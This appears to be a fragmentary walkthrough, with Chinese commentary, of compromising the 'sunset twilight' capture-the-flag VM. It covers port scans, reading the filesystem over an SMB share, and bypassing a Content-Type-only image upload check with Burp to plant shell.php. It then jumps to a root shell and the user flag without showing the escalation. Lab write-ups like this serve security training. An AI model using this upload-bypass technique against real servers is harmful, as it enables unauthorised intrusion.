┌──(kali㉿kali)-[~/Downloads/sunset_twilight] └─$ sudo nmap --min-rate 10000 -p- 192.168.56.133 Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-03 09:33 EDT Nmap scan report for 192.168.56.133 Host is up (0.00010s latency). Not shown: 65526 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds 2121/tcp open ccproxy-ftp 3306/tcp open mysql 8080/tcp open http-proxy 63525/tcp open unknown MAC Address: 08:00:27:64:77:9F (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 8.74 seconds
┌──(kali㉿kali)-[~/Downloads/sunset_twilight] └─$ sudo nmap -sT -sV -sC -O -p22,25,80,139,445,2121,3306,8080,63525 192.168.56.133 Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-03 09:35 EDT Nmap scan report for 192.168.56.133 Host is up (0.00035s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 43:e9:45:ec:f4:5b:ed:e9:64:47:43:43:39:96:9d:c9 (RSA) | 256 ed:67:ad:31:04:17:ef:cf:75:02:05:db:88:94:97:a0 (ECDSA) |_ 256 ed:41:e5:d1:b2:23:2c:d5:90:59:2a:37:8b:da:31:c1 (ED25519) 25/tcp open smtp Exim smtpd 4.92 | smtp-commands: twilight Hello nmap.scanme.org [192.168.56.106], SIZE 52428800, 8BITMIME, PIPELINING, CHUNKING, PRDR, HELP |_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesn\'t have a title (text/html; charset=UTF-8). |_http-server-header: Apache/2.4.38 (Debian) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open ��_ Samba smbd 4.9.5-Debian (workgroup: WORKGROUP) 2121/tcp open ftp pyftpdlib 1.5.6 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 root root 35 Jul 16 2020 22253251-65325.twilight | ftp-syst: | STAT: | FTP server status: | Connected to: 192.168.56.133:2121 | Waiting for username. | TYPE: ASCII; STRUcture: File; MODE: Stream | Data connection closed. |_End of status. 3306/tcp open mysql MySQL 5.5.5-10.3.22-MariaDB-0+deb10u1 | mysql-info: | Protocol: 10 | Version: 5.5.5-10.3.22-MariaDB-0+deb10u1 | Thread ID: 39 | Capabilities flags: 63486 | Some Capabilities: Support41Auth, DontAllowDatabaseTableColumn, FoundRows, Speaks41ProtocolOld, ODBCClient, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, IgnoreSigpipes, SupportsLoadDataLocal, LongColumnFlag, Speaks41ProtocolNew, SupportsTransactions, InteractiveClient, SupportsCompression, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins | Status: Autocommit | Salt: f&&*BM;})N.9s\P^ea7/ |_ Auth Plugin Name: mysql_native_password 8080/tcp open http PHP cli server 5.5 or later |_http-open-proxy: Proxy might be redirecting requests |_http-title: Login - powered by Easy File Sharing Web Server 63525/tcp open http PHP cli server 5.5 or later |_http-title: Login - powered by Easy File Sharing Web Server MAC Address: 08:00:27:64:77:9F (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: Host: twilight; OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 27.69 seconds
┌──(kali㉿kali)-[~/Downloads/sunset_twilight] └─$ sudo smbmap -H 192.168.56.133 [sudo] password for kali: [+] IP: 192.168.56.133:445 Name: 192.168.56.133 Disk Permissions Comment ---- ----------- ------- WRKSHARE READ ONLY Workplace Share. Do not access if not an employee. print$ NO ACCESS Printer Drivers IPC$ NO ACCESS IPC Service (Samba 4.9.5-Debian)
┌──(kali㉿kali)-[~/Downloads/sunset_twilight] └─$ smbclient //192.168.56.133/WRKSHARE Password for [WORKGROUP\kali]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Wed Jul 8 18:57:09 2020 .. D 0 Wed Jul 8 18:57:09 2020 root D 0 Thu Jul 16 09:50:46 2020 run D 0 Thu Aug 3 09:29:50 2023 lost+found D 0 Wed Jul 8 18:08:46 2020 initrd.img N 25814661 Wed Jul 8 18:58:16 2020 etc D 0 Thu Jul 16 09:54:54 2020 proc D 0 Thu Aug 3 09:29:52 2023 vmlinuz N 5274864 Sun Jun 7 11:42:22 2020 initrd.img.old N 25807574 Wed Jul 8 18:58:02 2020 opt D 0 Wed Jul 8 18:09:01 2020 srv D 0 Wed Jul 8 18:09:01 2020 sys D 0 Thu Aug 3 09:36:49 2023 lib64 D 0 Wed Jul 8 18:09:08 2020 sbin D 0 Thu Jul 16 09:53:39 2020 media D 0 Wed Jul 8 18:08:46 2020 bin D 0 Thu Jul 16 08:22:20 2020 usr D 0 Wed Jul 8 18:09:01 2020 lib32 D 0 Wed Jul 8 18:08:56 2020 dev D 0 Thu Aug 3 09:29:44 2023 lib D 0 Wed Jul 8 22:20:29 2020 vmlinuz.old N 5274864 Mon Apr 27 01:05:39 2020 libx32 D 0 Wed Jul 8 18:08:56 2020 home D 0 Wed Jul 8 19:15:56 2020 mnt D 0 Wed Jul 8 18:09:01 2020 var D 0 Wed Jul 8 20:03:27 2020 boot D 0 Wed Jul 8 19:06:53 2020 tmp D 0 Thu Aug 3 09:34:44 2023
7158264 blocks of size 1024. 4447488 blocks available
看样子似乎挂载在了根目录,那就是说我们相当于获得了基础的文件系统读取的权限(或许还能上传)
尝试去看了看 home 目录,发现了一个用户 miguel 但是没有读取此用户家目录的权限
接下来考虑去看看网站目录
1 2 3 4 5 6 7 8 9
smb: \var\www\html\> ls . D 0 Thu Jul 16 09:43:26 2020 .. D 0 Wed Jul 15 21:44:37 2020 current.php N 152 Wed Jul 15 21:58:35 2020 lang.php N 58 Wed Jul 15 22:03:45 2020 gallery D 0 Wed Jul 8 22:31:53 2020 index.php N 228 Wed Jul 15 22:03:51 2020
7158264 blocks of size 1024. 4447472 blocks available
//Check image type. Only jpeg images are allowed if ( (($_FILES['myfile']['type'])=='image/pjpeg') || (($_FILES['myfile']['type'])=='image/jpeg')) {
只是很简单地检查了 Content-Type,那我们可以上传一个真正的 jpg 文件,并使用 burp suite 抓包,再将其中的文件名和文件内容进行修改
可以在 Response 体中看到上传成功的文件名,回到 smb 命令行中,获取文件路径的相关信息
1 2 3 4 5 6 7
smb: \var\www\html\gallery\> cd original smb: \var\www\html\gallery\original\> ls . D 0 Thu Aug 3 21:54:42 2023 .. D 0 Wed Jul 8 22:31:53 2020 sandwich.jpg N 171858 Thu Aug 3 21:53:06 2023 espresso.jpg N 170467 Thu Aug 3 21:53:17 2023 shell.php N 3611 Thu Aug 3 21:54:42 2023
www-data@twilight:/var/www/html/gallery$ cat /etc/crontab cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do.
┌──(kali㉿kali)-[~/Downloads/sunset_twilight] └─$ mysql -u root -h 192.168.56.133 -p Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 55 Server version: 10.3.22-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h'forhelp. Type '\c' to clear the current input statement.
Thanks for playing! - Felipe Winsnes (@whitecr0wz) root@twilight:~# cd /home/ cd /home/ root@twilight:/home# ls ls miguel root@twilight:/home# cd miguel cd miguel root@twilight:/home/miguel# ls ls efs efs2 ftp user.txt root@twilight:/home/miguel# cat user.txt cat user.txt 6b963e69f7b4a6205513973e4cace702